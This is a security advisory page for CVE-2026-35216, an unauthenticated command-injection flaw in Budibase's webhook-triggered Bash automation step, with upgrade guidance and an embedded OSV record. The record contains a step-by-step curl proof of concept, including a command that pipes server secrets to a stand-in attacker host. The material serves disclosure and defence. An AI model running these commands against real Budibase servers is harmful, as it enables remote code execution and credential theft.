CVE-2026-35216: Budibase Remote Code Execution Vulnerability
CRITICALCVE-2026-35216 is a CRITICAL (CVSS 9.0) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Budibase libraries in the npm ecosystem. The issue involves unauthenticated remote code execution via webhook trigger and bash automation step. Remediation is available by upgrading affected packages to version 3.33.4.
CVE-2026-35216 at a Glance
Security Impact
CVSS: 9.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-35216
To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @budibase/server@3.33.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @budibase/server
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-35216, inspect your project dependencies using npm:
npm ls @budibase/server
Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.33.4), your application is affected.
Note: The npm ls @budibase/server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-35216 Affected Budibase Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@budibase/server
|
npm |
< 3.33.4
|
3.33.4
|
References
Frequently Asked Questions
What is CVE-2026-35216?
Which Budibase versions are affected?
What version fixes CVE-2026-35216?
Is @budibase/server affected?
What is the CVSS score of CVE-2026-35216?
What CWE is associated with CVE-2026-35216?
How can I check npm dependencies for CVE-2026-35216?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-fcm4-4pj2-m5hf",
"modified" : "2026-04-04T06:04:58Z",
"published" : "2026-04-04T06:04:58Z",
"aliases" : [ "CVE-2026-35216" ],
"summary" : "Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step",
"details" : "### Summary\nAn unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.\n\n### Details\n\n**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**\n\n```typescript\n// this shouldn't have authorisation, right now its always public\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe webhook trigger endpoint is registered on `publicRoutes` with **no authentication\nmiddleware**. Any unauthenticated HTTP client can POST to this endpoint.\n\n**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**\n\n```typescript\nconst command = processStringSync(inputs.code, context)\nstdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()\n```\n\nThe Bash automation step uses Handlebars template processing (`processStringSync`) on\n`inputs.code`, substituting values from the webhook request body into the shell command\nstring before passing it to `execSync()`.\n\n**Attack chain:**\n\n```\nHTTP POST /api/webhooks/trigger/{appId}/{webhookId} ← NO AUTH\n ↓\ncontroller.trigger() [webhook.ts:90]\n ↓\ntriggers.externalTrigger()\n ↓ webhook fields flattened into automation context\nautomation.steps[EXECUTE_BASH].run() [actions.ts:131]\n ↓\nprocessStringSync(\"{{ trigger.cmd }}\", { cmd: \"ATTACKER_PAYLOAD\" })\n ↓\nexecSync(\"ATTACKER_PAYLOAD\") ← RCE AS ROOT\n```\n\n**Precondition:** An admin must have created and published an automation containing:\n1. A Webhook trigger\n2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)\n\nThis is a legitimate and documented workflow. Such configurations may exist in\nproduction deployments for automation of server-side tasks.\n\n**Note on EXECUTE_BASH availability:** The bash step is only registered when\n`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:\n\n```typescript\n// packages/server/src/automations/actions.ts line 126-132\n// don't add the bash script/definitions unless in self host\nif (env.SELF_HOSTED) {\n ACTION_IMPLS[\"EXECUTE_BASH\"] = bash.run\n BUILTIN_ACTION_DEFINITIONS[\"EXECUTE_BASH\"] = automations.steps.bash.definition\n}\n```\n\n**Webhook context flattening** (why `{{ trigger.cmd }}` works):\n\nIn `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations\nthe `params.fields` are spread directly into the trigger context:\n\n```typescript\n// row actions and webhooks flatten the fields down\nelse if (sdk.automations.isWebhookAction(automation)) {\n params = {\n ...params,\n ...params.fields, // { cmd: \"PAYLOAD\" } becomes top-level\n fields: {},\n }\n}\n```\n\nThis means a webhook body `{\"cmd\": \"id\"}` becomes accessible as `{{ trigger.cmd }}`\nin the bash step template.\n\n### PoC\n\n#### Environment\n\n```\nTarget: http://TARGET:10000 (any self-hosted Budibase instance)\nTester: Any machine with curl\nAuth: Admin credentials required for SETUP PHASE only\n Zero auth required for EXPLOITATION PHASE\n```\n\n---\n\n#### PHASE 1 — Admin Setup (performed once by legitimate admin)\n\n> **Note:** This phase represents normal Budibase usage. Any admin who creates\n> a webhook automation with a bash step using template variables creates this exposure.\n\n**Step 1 — Authenticate as admin:**\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"username\": \"admin@company.com\",\n \"password\": \"adminpassword\"\n }'\n\n# Expected response:\n# {\"message\":\"Login successful\"}\n```\n\n**Step 2 — Create an application:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/applications \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"name\": \"MyApp\",\n \"useTemplate\": false,\n \"url\": \"/myapp\"\n }'\n\n# Note the appId from the response, e.g.:\n# \"appId\": \"app_dev_c999265f6f984e3aa986788723984cd5\"\n\nAPP_ID=\"app_dev_c999265f6f984e3aa986788723984cd5\"\n```\n\n**Step 3 — Create automation with Webhook trigger + Bash step:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d '{\n \"name\": \"WebhookBash\",\n \"type\": \"automation\",\n \"definition\": {\n \"trigger\": {\n \"id\": \"trigger_1\",\n \"name\": \"Webhook\",\n \"event\": \"app:webhook:trigger\",\n \"stepId\": \"WEBHOOK\",\n \"type\": \"TRIGGER\",\n \"icon\": \"paper-plane-right\",\n \"description\": \"Trigger an automation when a HTTP POST webhook is hit\",\n \"tagline\": \"Webhook endpoint is hit\",\n \"inputs\": {},\n \"schema\": {\n \"inputs\": { \"properties\": {} },\n \"outputs\": {\n \"properties\": { \"body\": { \"type\": \"object\" } }\n }\n }\n },\n \"steps\": [\n {\n \"id\": \"bash_step_1\",\n \"name\": \"Bash Scripting\",\n \"stepId\": \"EXECUTE_BASH\",\n \"type\": \"ACTION\",\n \"icon\": \"git-branch\",\n \"description\": \"Run a bash script\",\n \"tagline\": \"Execute a bash command\",\n \"inputs\": {\n \"code\": \"{{ trigger.cmd }}\"\n },\n \"schema\": {\n \"inputs\": {\n \"properties\": { \"code\": { \"type\": \"string\" } }\n },\n \"outputs\": {\n \"properties\": {\n \"stdout\": { \"type\": \"string\" },\n \"success\": { \"type\": \"boolean\" }\n }\n }\n }\n }\n ]\n }\n }'\n\n# Note the automation _id from response, e.g.:\n# \"automation\": { \"_id\": \"au_b713759f83f64efda067e17b65545fce\", ... }\n\nAUTO_ID=\"au_b713759f83f64efda067e17b65545fce\"\n```\n\n**Step 4 — Enable the automation** (new automations start as disabled):\n\n```bash\n# Fetch full automation JSON\nAUTO=$(curl -sb cookies.txt \"http://TARGET:10000/api/automations/$AUTO_ID\" \\\n -H \"x-budibase-app-id: $APP_ID\")\n\n# Set disabled: false and PUT it back\nUPDATED=$(echo \"$AUTO\" | python3 -c \"\nimport sys, json\nd = json.load(sys.stdin)\nd['disabled'] = False\nprint(json.dumps(d))\n\")\n\ncurl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \"$UPDATED\"\n```\n\n**Step 5 — Create webhook linked to the automation:**\n\n```bash\ncurl -b cookies.txt -X PUT \"http://TARGET:10000/api/webhooks/\" \\\n -H \"Content-Type: application/json\" \\\n -H \"x-budibase-app-id: $APP_ID\" \\\n -d \"{\n \\\"name\\\": \\\"MyWebhook\\\",\n \\\"action\\\": {\n \\\"type\\\": \\\"automation\\\",\n \\\"target\\\": \\\"$AUTO_ID\\\"\n }\n }\"\n\n# Note the webhook _id from response, e.g.:\n# \"webhook\": { \"_id\": \"wh_f811a038ed024da78b44619353d4af2b\", ... }\n\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\n```\n\n**Step 6 — Publish the app to production:**\n\n```bash\ncurl -b cookies.txt -X POST \"http://TARGET:10000/api/applications/$APP_ID/publish\" \\\n -H \"x-budibase-app-id: $APP_ID\"\n\n# Expected: {\"status\":\"SUCCESS\",\"appUrl\":\"/myapp\"}\n\n# Production App ID = strip \"dev_\" from dev ID:\n# app_dev_c999265f... → app_c999265f...\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\n```\n\n---\n\n#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)\n\nThe attacker only needs the production `app_id` and `webhook_id`.\nThese can be obtained via:\n- Enumeration of the Budibase web UI (app URLs are semi-public)\n- Leaked configuration files or environment variables\n- Insider knowledge or social engineering\n\n**Step 7 — Basic RCE — whoami/id:**\n\n```bash\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\nTARGET=\"http://TARGET:10000\"\n\n# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"cmd\":\"id\"}'\n\n# HTTP Response (immediate):\n# {\"message\":\"Webhook trigger fired successfully\"}\n\n# Command executes asynchronously inside container as root.\n# Output confirmed via container inspection or exfiltration.\n```\n\n**Step 8 — Exfiltrate all secrets:**\n\n```bash\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"cmd\":\"env | grep -E \\\"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\\\" | curl -s -X POST https://attacker.com/collect -d @-\"}'\n```\n\nConfirmed secrets leaked (no auth):\n```\nJWT_SECRET=testsecret\nAPI_ENCRYPTION_KEY=testsecret\nCOUCH_DB_URL=http://budibase:budibase@couchdb-service:5984\nREDIS_PASSWORD=budibase\nREDIS_URL=redis-service:6379\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nINTERNAL_API_KEY=budibase\nLITELLM_MASTER_KEY=budibase\n```\n\n### Impact\n- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where\n any admin has created an automation with a Bash step that uses webhook trigger field\n templates. This is a standard, documented workflow.\n\n- **What can an attacker do:**\n - Execute arbitrary OS commands as `root` inside the application container\n - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys\n - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet\n - Establish reverse shells and persistent access\n - Read/write/delete all application data via CouchDB access\n - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user\n - Potentially escape the container if `--privileged` or volume mounts are used\n\n- **Authentication required:** **None** — completely unauthenticated\n- **User interaction required:** **None**\n- **Network access required:** Only access to port 10000 (the Budibase proxy port)\n\n\n\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@budibase/server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.33.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35216"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/pull/18238"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Budibase/budibase"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/releases/tag/3.33.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-04T06:04:58Z",
"nvd_published_at" : "2026-04-03T16:16:41Z"
}
}